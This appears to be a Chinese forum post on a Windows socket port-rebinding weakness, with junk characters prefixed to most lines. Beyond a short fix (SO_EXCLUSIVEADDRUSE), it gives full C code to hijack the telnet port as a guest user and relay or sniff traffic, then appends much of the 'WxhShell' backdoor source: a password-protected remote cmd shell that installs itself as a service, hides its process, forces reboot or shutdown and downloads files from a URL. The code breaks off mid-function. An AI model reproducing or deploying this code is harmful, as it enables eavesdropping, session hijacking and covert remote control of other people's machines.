在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iZ^tLnc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>g {w, YI877T9> saddr.sin_family = AF_INET;
}fS`jq; -l:4I6-hi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t\GoUeH] 4lVvs(W? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%ZKP d8 -2D/RE7| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
55%j$f <~d3L4h*< 这意味着什么?意味着可以进行如下的攻击:
y Tb OBl ?KB+2]7m6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?o>JX.Nl&7 XABB6J] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0=:]tSD\F ZyJ-}[z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p%ve1>c tCF,KP? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l KdY!j" U8>M`e"D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o/J2BZ<_< )j_Y9`R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~;QzV?% MsD@pa 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*WQl#JAr R(1N]> #include
>V,i7v*? #include
U+4W9zhwo #include
dlf nhf #include
xY=%+o.?* DWORD WINAPI ClientThread(LPVOID lpParam);
[_X.Equ int main()
<@](uWu {
lQ{o[axT WORD wVersionRequested;
,zP.ch0K DWORD ret;
E*W|>2nx] WSADATA wsaData;
\'>8 (i~ BOOL val;
{L#+v~d^'n SOCKADDR_IN saddr;
LJh^-FQ SOCKADDR_IN scaddr;
8o7%qWX int err;
`,7;2ZG~O SOCKET s;
D| gI3i SOCKET sc;
QqdVN3#1z int caddsize;
aj|gt HANDLE mt;
`at>X&Ce, DWORD tid;
.~C[D
T+, wVersionRequested = MAKEWORD( 2, 2 );
G,-x+e" err = WSAStartup( wVersionRequested, &wsaData );
cg|C S? if ( err != 0 ) {
_yu_Ev}R printf("error!WSAStartup failed!\n");
U8]BhJr$Q return -1;
([Da*Tk* }
#^zUaPV 7r saddr.sin_family = AF_INET;
rv26vnJy" Y )](jU%o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lD]/Kx ;#+Se,) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h;RKF\U:" saddr.sin_port = htons(23);
B.ar!*X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PpWn+''M {
=AVr<kP printf("error!socket failed!\n");
S>N/K return -1;
f{j.jfl\x }
l6y*SW5+ val = TRUE;
kfQi}D'a //SO_REUSEADDR选项就是可以实现端口重绑定的
IuOY.c2.u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]*\m@lWu {
>"%}x{| printf("error!setsockopt failed!\n");
vN8Xq+ return -1;
Ip&Q'"HYj }
9?i~4&EY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3B6"T;_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
SBog7An9SI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+1(L5Do} YjTA+1} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
SGA!%=Lp {
!^*-]p/z ret=GetLastError();
qFwJ%(IQ printf("error!bind failed!\n");
D8r=Vf return -1;
7O^'?L<C' }
/'WIgP listen(s,2);
%J?"ZSh while(1)
D$$,T.'u {
lMW4SRk1C caddsize = sizeof(scaddr);
iTpU4Qsj //接受连接请求
+i1\],7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7]&ouT if(sc!=INVALID_SOCKET)
%^VQw! {
" +n\0j; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
cN]]J if(mt==NULL)
cJQ& #u {
q(YFt*(;w printf("Thread Creat Failed!\n");
g XThdNU4G break;
InCo[ 8SI }
[tEHr }
YnLwBJ 2i CloseHandle(mt);
@cT= t0* }
'<v_YxEn closesocket(s);
NIasce e WSACleanup();
!(L\X'jH return 0;
"2FI3M= }
7\e96+j|f DWORD WINAPI ClientThread(LPVOID lpParam)
IQ3]fLb {
v@KP~kp SOCKET ss = (SOCKET)lpParam;
ctB(c`zcY SOCKET sc;
XnCrxj unsigned char buf[4096];
KE
k]<b= SOCKADDR_IN saddr;
Q*h%'oc` long num;
f} _d`?K DWORD val;
v!b
8_0~u6 DWORD ret;
m?$peRn3{ //如果是隐藏端口应用的话,可以在此处加一些判断
fvUD'sx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yk<$XNc saddr.sin_family = AF_INET;
[q5N 4&q\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@uaf&my,P saddr.sin_port = htons(23);
:Ky
*AI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q%Fc?d9 {
EDkxRfY2/ printf("error!socket failed!\n");
EE<^q?[3^ return -1;
`AO<r }
ZO ! val = 100;
l*+5WrOS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<P"4Mk7`s {
kQY+D1 ret = GetLastError();
.}V&*-ep return -1;
Qn*a#]p }
3n=`SLj/a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~il{6Z+#n {
.M$}.v ret = GetLastError();
U=G^wL return -1;
jD
eNCJ }
eyiGe1^C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
sMikTwR/^ {
W?B(Jsv printf("error!socket connect failed!\n");
ZPISclSA+
closesocket(sc);
27NhYDo closesocket(ss);
DG&[.dR+ return -1;
t#0/_tD }
N2~q\BqA while(1)
FrXh\4C {
u*<G20~A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E|aPkq]
//如果是嗅探内容的话,可以再此处进行内容分析和记录
x\
pC& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NNt,J; num = recv(ss,buf,4096,0);
| Ts0h?"a if(num>0)
e[lRY>Pe5 send(sc,buf,num,0);
'<v/Gl\ else if(num==0)
@?w8XHEa| break;
#h 4`f num = recv(sc,buf,4096,0);
]/p)XHKo if(num>0)
dtdz!'q)Y send(ss,buf,num,0);
[,F5GW{x else if(num==0)
_l`s}yC break;
5 E%dF9q }
U*Hw
t\ closesocket(ss);
+N9(o+UrU closesocket(sc);
Z]I[?$y return 0 ;
#NAlje( 7 }
NY5?T0/[ 0ang^v;q Q&Rj)1! ==========================================================
V8z91 WCbv5)uTUs 下边附上一个代码,,WXhSHELL
b ;Vy=f +M+ht ==========================================================
dnby &-+T LDJ=<c! #include "stdafx.h"
ldJ:A*/M6 X^PR];V:$ #include <stdio.h>
x+}6qfc$9k #include <string.h>
MSmvQ #include <windows.h>
V}l>p? #include <winsock2.h>
DR`d^aBWQ #include <winsvc.h>
R~,*W1G6sF #include <urlmon.h>
pcM'j#; GdqT4a\S #pragma comment (lib, "Ws2_32.lib")
F<y5zqGy@ #pragma comment (lib, "urlmon.lib")
FDB^JH9d $18|@\Znj #define MAX_USER 100 // 最大客户端连接数
I9ga8mG4-' #define BUF_SOCK 200 // sock buffer
cS98%@DR #define KEY_BUFF 255 // 输入 buffer
Ks.pb !r Oj#nF@U #define REBOOT 0 // 重启
8J:6uO
c| #define SHUTDOWN 1 // 关机
yfS`g-j{~ a G^kL #define DEF_PORT 5000 // 监听端口
*`:zSnu (hefpqpi #define REG_LEN 16 // 注册表键长度
#c5 NFU}9 #define SVC_LEN 80 // NT服务名长度
&p1Et }bG|(Wp9 // 从dll定义API
k`W.tMo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Mg.xGST typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
goi5I(yn^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
P`HE3?r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y< hIXC I
U/HYBJH // wxhshell配置信息
8t!/Op? struct WSCFG {
uhUC m int ws_port; // 监听端口
e,qc7BJzK char ws_passstr[REG_LEN]; // 口令
^'=J'Q int ws_autoins; // 安装标记, 1=yes 0=no
vLW&/YJ6 char ws_regname[REG_LEN]; // 注册表键名
![Z'jCpy char ws_svcname[REG_LEN]; // 服务名
y; Up@.IG char ws_svcdisp[SVC_LEN]; // 服务显示名
Z
4uft char ws_svcdesc[SVC_LEN]; // 服务描述信息
T~UKWAKX} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(eI'%1kS< int ws_downexe; // 下载执行标记, 1=yes 0=no
i~}[/^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<">tB"="b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
S,LW/:, xtyzy@)QL };
_NAKVzo- -.:[a3c? // default Wxhshell configuration
XM$r,}B k struct WSCFG wscfg={DEF_PORT,
P?dE\Po7 "xuhuanlingzhe",
DQ^yqBVgQ 1,
zFh
JLH*C "Wxhshell",
*upl*zFf0 "Wxhshell",
!L"3Ot d "WxhShell Service",
Q>u$tLX& "Wrsky Windows CmdShell Service",
PZ~uHX_d> "Please Input Your Password: ",
FA?xp1E 1,
s.]7c
CY "
http://www.wrsky.com/wxhshell.exe",
8 ~.|^no "Wxhshell.exe"
OwrzD~ };
[>+(zlK" QIVpO /@ // 消息定义模块
't
\:@-tQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SLO;c{EFH char *msg_ws_prompt="\n\r? for help\n\r#>";
gT*0WgB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hHF YAh char *msg_ws_ext="\n\rExit.";
-J4?Km char *msg_ws_end="\n\rQuit.";
"BZ6G` char *msg_ws_boot="\n\rReboot...";
Q4r)TR , char *msg_ws_poff="\n\rShutdown...";
B\1F char *msg_ws_down="\n\rSave to ";
9VdVom|e @ 'rk[S}A char *msg_ws_err="\n\rErr!";
j8nG
Gx char *msg_ws_ok="\n\rOK!";
vr2tIKvpn |U%S<X char ExeFile[MAX_PATH];
M%+l21& int nUser = 0;
^ Afq)26D HANDLE handles[MAX_USER];
'x
BBQP int OsIsNt;
e~jw
YImA kPF[E5 SERVICE_STATUS serviceStatus;
4UmTA_& Io SERVICE_STATUS_HANDLE hServiceStatusHandle;
LF?83P,UJ# Ha9A5Ao}0 // 函数声明
4(Gs$QkSo| int Install(void);
h"cLZM:6 int Uninstall(void);
n!~mdI& int DownloadFile(char *sURL, SOCKET wsh);
'CsD[< int Boot(int flag);
?I&ha-." void HideProc(void);
$/5<f<%u&) int GetOsVer(void);
~` v7 int Wxhshell(SOCKET wsl);
/\*,|y\< void TalkWithClient(void *cs);
0{g @j{Lbz int CmdShell(SOCKET sock);
aQ mgDF int StartFromService(void);
zd AqGQfc int StartWxhshell(LPSTR lpCmdLine);
ork/:y9*y 8WK%g0gm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
WH2?_U-8h VOID WINAPI NTServiceHandler( DWORD fdwControl );
q/~U[.C oB;EP // 数据结构和表定义
3UgusH3 SERVICE_TABLE_ENTRY DispatchTable[] =
IE!fNuR4 {
b}4k-hZL {wscfg.ws_svcname, NTServiceMain},
JCZ"#8M3 {NULL, NULL}
;xaOve;9 };
WV_y@H_ "|w..%Wc // 自我安装
4mSL*1j int Install(void)
tyFhp:ZB {
CLU !/J$! char svExeFile[MAX_PATH];
eSf
e
s HKEY key;
|j53'>N[ strcpy(svExeFile,ExeFile);
aZ^P*|_K3 l^4[;%*f#l // 如果是win9x系统,修改注册表设为自启动
,
"w`,c>! if(!OsIsNt) {
6=o@X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;V]EF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
px5~D(N RegCloseKey(key);
IQ[?ej3W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}LQ*vD-Jj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R<
@o]p RegCloseKey(key);
)iadu return 0;
Dt?O_Bdv[ }
qp
(ng8%c }
%J4]T35^2 }
"GoNTM5h else {
-dbD&8 Kd^{~Wlz&z // 如果是NT以上系统,安装为系统服务
iA*Z4FKkT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b3}928!D-@ if (schSCManager!=0)
=$601r {
)\_xB_K\ SC_HANDLE schService = CreateService
X1G[& (
|gEA.}
pY schSCManager,
-a(f- wscfg.ws_svcname,
,GEMc a,` wscfg.ws_svcdisp,
3N6U6.Tqb SERVICE_ALL_ACCESS,
BX$t |t;!m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.CFaBwj SERVICE_AUTO_START,
"6rZn_H/| SERVICE_ERROR_NORMAL,
Zzr+p. svExeFile,
AfW63;kH NULL,
tVQfR*= NULL,
I!lzOg4~ NULL,
s`Fv! NULL,
pHFlO!#]| NULL
Rt~Aud[ );
%Q"zU9 if (schService!=0)
{;^booq {
d_#\^!9 CloseServiceHandle(schService);
M`\c'|i/ CloseServiceHandle(schSCManager);
w=\Lw+X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m3XL;1y:a strcat(svExeFile,wscfg.ws_svcname);
e3YZ-w^W~h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~jAOGo/&6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[bkMl+:/HG RegCloseKey(key);
zNRoFz. return 0;
=N01!?{ }
W]5kM~Q@ }
XG<J'3 CloseServiceHandle(schSCManager);
>JS\H6 }
'GQ1;9A57 }
)/2* <jr ;&e5.K+.Z return 1;
kac@yQD }
tp$NT.z F0:Fv; // 自我卸载
,^O**k9F int Uninstall(void)
C.@R#a' {
$=iz&{9 HKEY key;
(rFY8oHD l3n* b6 if(!OsIsNt) {
z_!P0` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xuO5|{h RegDeleteValue(key,wscfg.ws_regname);
y%
uUA]c*m RegCloseKey(key);
)vOZp& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a}#[mw@m= RegDeleteValue(key,wscfg.ws_regname);
aGNt?)8WPZ RegCloseKey(key);
B:ddlxT$ return 0;
2tCep }
/7|u2!#Ui }
&PD4+%! }
kJy<vb~
else {
4 *He<2g -,q&Zm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7u,56V?X if (schSCManager!=0)
u%a2"G| {
JoKD6Q1D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M]jzbJ3Q if (schService!=0)
4u X<sJ* {
R_uA!MoLs if(DeleteService(schService)!=0) {
5'\/gvxIC CloseServiceHandle(schService);
z|}Anc[\ CloseServiceHandle(schSCManager);
Sl^HMO return 0;
Mb3,! }
6 )0$UW CloseServiceHandle(schService);
[[JwHM8H& }
LB? evewu CloseServiceHandle(schSCManager);
g-oHu8 }
q ]rsp0P2 }
$]\N/}1v +
R])u5c' return 1;
\PU|<Ru. }
V. 'EP W=mh*G3y // 从指定url下载文件
Mh>^~; int DownloadFile(char *sURL, SOCKET wsh)
azPFKg+ {
M <"&$qZ$R HRESULT hr;
=B*,S#r char seps[]= "/";
Rla1,{1 char *token;
L2P~moVIi char *file;
DDN#w<# char myURL[MAX_PATH];
ff?:_q+.N char myFILE[MAX_PATH];
(J\"\#/d ocAoqjlT[ strcpy(myURL,sURL);
"^zxq5u token=strtok(myURL,seps);
TTmNPp4q while(token!=NULL)
hn)mNb! {
TaG'? file=token;
`WC~cb\ token=strtok(NULL,seps);
$}aLFb }
6Ei>VcN4a 4B-v\3Ff GetCurrentDirectory(MAX_PATH,myFILE);
t 4{{5U'\ strcat(myFILE, "\\");
,X+mXtg. strcat(myFILE, file);
hi*\5(uH send(wsh,myFILE,strlen(myFILE),0);
QlSZr[^v send(wsh,"...",3,0);
72&xEx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3vHEPm] if(hr==S_OK)
)e4nKh], return 0;
hR[Qdu6r else
xdXt return 1;
gUy >I( @;G}bYq^(I }
S3P;@Rm ljlQ9wb[s // 系统电源模块
{E@Vh
int Boot(int flag)
0{@E=}}h {
^$6EO)< HANDLE hToken;
lmp0Ye| TOKEN_PRIVILEGES tkp;
H--(zxK R% l=NHB} if(OsIsNt) {
b9%hzD,MR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ql2>C.k3L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'eLO#1Ipf tkp.PrivilegeCount = 1;
DdN{=}A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bfQ+}|; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-nV]%vJ$R} if(flag==REBOOT) {
\.POb5]p0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a^@6hC>sr return 0;
4B d[r7 }
{qp
XzxV else {
}(hx$G^M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0AZ Vc return 0;
dArg'Dc4 }
G9 ;X=c }
Elom_ else {
lOCMKaCD if(flag==REBOOT) {
%S.
_3`A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fx_7X15 return 0;
.Qyq*6T3& }
&
VJ+X|Z else {
7s4G|N[wR\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
d!D#:l3; return 0;
0/6f9A }
LS}u6\( }
fk<0~tE K63OjR>H return 1;
{dH87 nt }
"iMuA pV9$Vg?-H // win9x进程隐藏模块
FMc$?mm void HideProc(void)
",k"c}3G {
h#dp_# Sp]"Xr) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
A_tdtN< if ( hKernel != NULL )
4QARrG% {
-,)&?S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DI{VJ&n66 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b}HLuX FreeLibrary(hKernel);
!i,Eo-[Z }
g`i?]6c}jt ><V<}&:y$( return;
Hz) Xn\x }
J$F
1sy sG7G$G*ta! // 获取操作系统版本
,bzE`6 int GetOsVer(void)
o%;R4 s, {
*'H0%GM OSVERSIONINFO winfo;
Lp.dF)C\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hfE5[ GetVersionEx(&winfo);
@{P<!x <Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~_6~Fi return 1;
?l/VCEZP else
,P ~jO return 0;
1Bp?HyCR }
Tsg;i; `yJ3"{uO // 客户端句柄模块
!0!m |^c5 int Wxhshell(SOCKET wsl)
I!1|);li {
##!idcC SOCKET wsh;
PgIH( struct sockaddr_in client;
N!!=9'fGF DWORD myID;
o1lhVM`15 %])U ( while(nUser<MAX_USER)
|`eHUtjH {
f$1&)1W[ int nSize=sizeof(client);
O:%s;p
5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
uJ-Q]yQ if(wsh==INVALID_SOCKET) return 1;
XX&4OV,^%D 0RFBun{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u+EZ"p;o if(handles[nUser]==0)
FxU a5n closesocket(wsh);
X'FDQoH else
3fGL(5|_ nUser++;
eF-U
1ZJT }
+2xgMN6B@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BK 3oNDy 59Lc-JJ return 0;
XM1;
>#kz }
Gb!R>WY qofD@\- // 关闭 socket
1A%0y)] void CloseIt(SOCKET wsh)
U45kA\[bZ {
/_SQKpic closesocket(wsh);
^?J3nf{ nUser--;
B/O0 ~y!n ExitThread(0);
H #Hhi<2 }
4SVIdSA eWWqK9B.- // 客户端请求句柄
%lq[,6?>5 void TalkWithClient(void *cs)
3c%_RI. {
A=W:}szt] j+9;Rvt2 SOCKET wsh=(SOCKET)cs;
:%_\!FvS char pwd[SVC_LEN];
p<[MU4 char cmd[KEY_BUFF];
]f{3_M[ char chr[1];
}1
,\*)5 int i,j;
.8wf {y ]!q>@b while (nUser < MAX_USER) {
%rlMjF'tG @r&*Qsf| if(wscfg.ws_passstr) {
{oSdVRI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6(=B`Z}a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+=:_a$98 //ZeroMemory(pwd,KEY_BUFF);
{p.^E5& i=0;
.Hnhd/ c while(i<SVC_LEN) {
!>\&*h-Cm# A+|bJ>q // 设置超时
8WE@ X)e fd_set FdRead;
r]@T9\9 struct timeval TimeOut;
/WGD7\G'8 FD_ZERO(&FdRead);
#_eXybUV FD_SET(wsh,&FdRead);
Q6)?#7<jy TimeOut.tv_sec=8;
2vTO>*t TimeOut.tv_usec=0;
Mz.C`Z>o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Pbd[gKX_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3!
#|hI>f |8pSMgN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!Q WNHL pwd
=chr[0]; ?q7MbQw
if(chr[0]==0xd || chr[0]==0xa) { Zs(BViTb|
pwd=0; AyWdJ<OU
break; #.rkvoB0N
} idB1%?<
i++; wmww7
} 8 :WN@
?N<,;~
// 如果是非法用户,关闭 socket k-H6c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O:sqm
n
} ep~+]7\
i}:hmy'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6fo\z2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o{>4PZ}=g
'z^'+}iyv
while(1) { 8nng^
e]nP7TIU
ZeroMemory(cmd,KEY_BUFF); e/cHH34
>;XtJJS
// 自动支持客户端 telnet标准 "f8,9@
j=0; L@z[b^
while(j<KEY_BUFF) { g4=C]\1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k;jl3GV
cmd[j]=chr[0]; *Lxt{z`9
if(chr[0]==0xa || chr[0]==0xd) { *=O]^|]2
cmd[j]=0; L){V(*K '
break; 7TEpjSuF
} GZWqPM4S\
j++; n-2!<`UFX
} f,i2U|1pbj
?A;RTM
// 下载文件 W4$aX5ow$
if(strstr(cmd,"http://")) { V,rR*a&p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); b+q'xnA=>
if(DownloadFile(cmd,wsh)) 8G3 Z,8P4(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x${C[gxq9F
else 4CchE15
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jygUf|
} M"W#_wY;
else { cWyf04-?
xv Xci W
switch(cmd[0]) { H{yBDxw
@67GVPcxl
// 帮助 (tq);m&
case '?': { AA)pV-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n$NM
break; k>Fw2!mA^
} I
L7kpH+y
// 安装 +|b#|>6
case 'i': { :R
+BC2x
if(Install()) m>48?%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %QrO Es
else 0sA`})Dk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 88<d<)7t
break; A$7K5
} FeS
,TQ4j
// 卸载 w0@XJH:P
case 'r': { x^_c4,i)
if(Uninstall()) |A,.mOT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@+<W%+th
else -hfkF+=U'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^tSwA anP\
break; p5OoDo
} 5(\/ b<#
// 显示 wxhshell 所在路径 i;/;zG^=_
case 'p': { =O"l/\c^
char svExeFile[MAX_PATH]; t' J4zV
strcpy(svExeFile,"\n\r"); Im-qGB0C
strcat(svExeFile,ExeFile); "[k>pzl6
send(wsh,svExeFile,strlen(svExeFile),0); ^8bc<c:P
break; >EA\KrjW
} wj0_X;L
// 重启 ZwY mR=
case 'b': { 6Y6t.j0vN.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k:iy()n[
if(Boot(REBOOT)) >dgq2ok!u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R>~I8k9mM
else { =aQlT*n%3
closesocket(wsh); vfj{j=
G
ExitThread(0); {|OXiRm'
} )mI>2<Z!
break; q^6#.}
} yn@wce
// 关机 o(> #}[N}
case 'd': { 3LJ\y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b&QI#w
if(Boot(SHUTDOWN)) C|g1:#0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^jb;4nf
else { `'P&={p8
closesocket(wsh); [e_csQ
ExitThread(0); FqGMHM\J
} 'r_Fi5[q
break; 2'OY,Ooe
} z<^LY]
// 获取shell @q>#]8
case 's': { 2!CL8hG5:
CmdShell(wsh); &Qj1uf92.
closesocket(wsh); r~7}w4U
ExitThread(0); sredL#]BA
break; MT)q?NcG
} [h&s<<#
D
// 退出 _*{Lha
case 'x': { 8'qlg|{!~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w@6y.v1I{
CloseIt(wsh); 7B5b
+
break; /CKn XU;
} T*C
F5S
// 离开 cH:&S=>h
case 'q': { ZFH-srs{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0Krh35R_)F
closesocket(wsh); x;} 25A|
WSACleanup(); /F|VYl^_
exit(1); <s|.2~
break; m#O; 1/P
} 9B83HV4J
} HFFrS%
} *uccY_
p0l.f`B
// 提示信息 ?8< =.,r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S5Pn6'w
} t,0}}9%?
} xb9^WvV
hPGDN\#LD
return; &t_TLV 8T
} (G$Q\>
<pKOFN%m
// shell模块句柄 QR~4Fe
int CmdShell(SOCKET sock) QK #qW-49O
{ 3i4m!g5Z?
STARTUPINFO si; "A~D(1K
ZeroMemory(&si,sizeof(si)); {,T=Siy
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Ce?!UO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [ z/G
PROCESS_INFORMATION ProcessInfo; 9a sA-'fZ
char cmdline[]="cmd"; -=UvOzw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;<+Z}d/g9
return 0; o"P )(;
} | "M1+(k7
k{lX K\zN
// 自身启动模式 7`)RBhGB
int StartFromService(void) Qn-nO_JL
{ QC]<`!
typedef struct _ogN
{ MAX?,-x
DWORD ExitStatus; WHLTJ]OB
DWORD PebBaseAddress; "Z&_*F.[O
